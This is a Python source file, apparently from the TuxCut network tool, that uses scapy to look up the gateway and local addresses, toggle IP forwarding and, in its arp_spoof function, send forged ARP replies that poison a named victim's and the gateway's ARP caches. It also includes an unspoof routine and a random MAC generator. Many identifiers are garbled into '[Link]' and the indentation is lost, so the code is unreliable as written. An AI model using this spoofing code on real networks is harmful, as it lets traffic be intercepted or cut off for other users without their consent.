import os
from pathlib import Path
import sys
import subprocess as sp
import logging
from [Link] import *
import netifaces
LOG_DIR = '/var/log/tuxcut'
if not [Link](LOG_DIR):
[Link](LOG_DIR)
server_log = Path([Link](LOG_DIR, '[Link]'))
server_log.touch(exist_ok=True)
server_log.chmod(0o666)
[Link](level=[Link])
logger = [Link]('tuxcut-server')
handler = [Link]([Link](LOG_DIR, '[Link]'))
formatter = [Link]('%(asctime)s - %(name)s - %(levelname)s - %
(message)s')
[Link](formatter)
[Link](handler)
# def get_ifaces():
# """
# all the available network interfaces except 'lo'
# """
# ifaces = [Link]()
# if 'lo' in ifaces:
# [Link]('lo')
# return ifaces
def get_hostname(ip):
"""
use nslookup from dnsutils package to get hostname for an ip
"""
try:
ans = [Link](['nslookup', ip], stdout=[Link])
for line in [Link]:
line = [Link]('utf-8')
if 'name = ' in line:
return [Link](' ')[-1].strip('.\n')
except Exception as e:
[Link](sys.exc_info()[1], exc_info=True)
return ''
def get_default_gw():
"""
Get the default gw ip address with the iface
"""
# netifaces.AF_INET = 2
gw = dict()
if netifaces.AF_INET in [Link]()['default']:
default_gw = [Link]()['default'][netifaces.AF_INET]
# initialize gw_mac with empty string
gw_mac = ''
# send arp packet to gw to get the MAC Address of the router
try:
results, unanswered = sr(ARP(op=ARP.who_has, psrc='[Link]',
pdst=default_gw[0]))
for r in results[0]:
if [Link] == default_gw[0]:
gw_mac = [Link]
gw['ip'] = default_gw[0]
gw['mac'] = gw_mac
gw['hostname'] = get_hostname(default_gw[0])
gw['iface'] = default_gw[1]
[Link]('gw successfully retrieved')
except Exception as e:
[Link](sys.exc_info()[1], exc_info=True)
return gw
def get_my(iface):
"""
find the IP and MAC addressess for the given interface
"""
my = dict()
try:
my['ip'] = get_if_addr(iface)
my['mac'] = get_if_hwaddr(iface)
my['hostname'] = get_hostname(get_if_addr(iface))
[Link]('My info succssfully retrieved')
except Exception as e:
[Link](sys.exc_info()[1], exc_info=True)
return my
def enable_ip_forward():
try:
[Link](['sysctl', '-w', 'net.ipv4.ip_forward=1'])
[Link]('IP forward Enabled')
except Exception as e:
[Link](sys.exc_info()[1], exc_info=True)
def disable_ip_forward():
try:
[Link](['sysctl', '-w', 'net.ipv4.ip_forward=0'])
[Link]('IP Forward Disabled')
except Exception as e:
[Link](sys.exc_info()[1], exc_info=True)
def arp_spoof(victim):
gw = get_default_gw()
my = get_my(gw['iface'])
[Link]('attacking host {}'.format(victim['ip']))
# Cheat the victim
to_victim = ARP()
to_victim.op = 2 # make packet 'is-at'
to_victim.psrc = gw['ip']
to_victim.hwsrc = my['mac']
to_victim.pdst = victim['ip']
to_victim.hwdst = victim['mac']
# Cheat the gateway
to_gw = ARP()
to_gw.op = 2 # make packet 'is-at'
to_gw.psrc = victim['ip']
to_gw.hwsrc = my['mac']
to_gw.pdst = gw['ip']
to_gw.hwdst = gw['mac']
try:
send(to_victim, count=5)
send(to_gw, count=5)
[Link]('Done Spoofing host')
except Exception as e:
[Link](sys.exc_info()[1], exc_info=True)
def arp_unspoof(victim):
gw = get_default_gw()
[Link]('resuming host {}'.format(victim['ip']))
# Fix the victim arp table
to_victim = ARP()
to_victim.op = 2 # make packet 'is-at'
to_victim.psrc = gw['ip']
to_victim.hwsrc = gw['mac']
to_victim.pdst = victim['ip']
to_victim.hwdst = victim['mac']
# Fix the gateway arp table
to_gw = ARP()
to_gw.op = 2 # make packet 'is-at'
to_gw.psrc = victim['ip']
to_gw.hwsrc = victim['mac']
to_gw.pdst = gw['ip']
to_gw.hwdst = gw['mac']
try:
send(to_victim, count=10)
send(to_gw, count=10)
[Link]('Done Resuming host')
except Exception as e:
[Link](sys.exc_info()[1], exc_info=True)
def generate_mac():
return ':'.join(map(lambda x: "%02x" % x, [ 0x00,
[Link](0x00, 0x7f),
[Link](0x00, 0x7f),
[Link](0x00, 0x7f),
[Link](0x00, 0xff),
[Link](0x00, 0xff)]))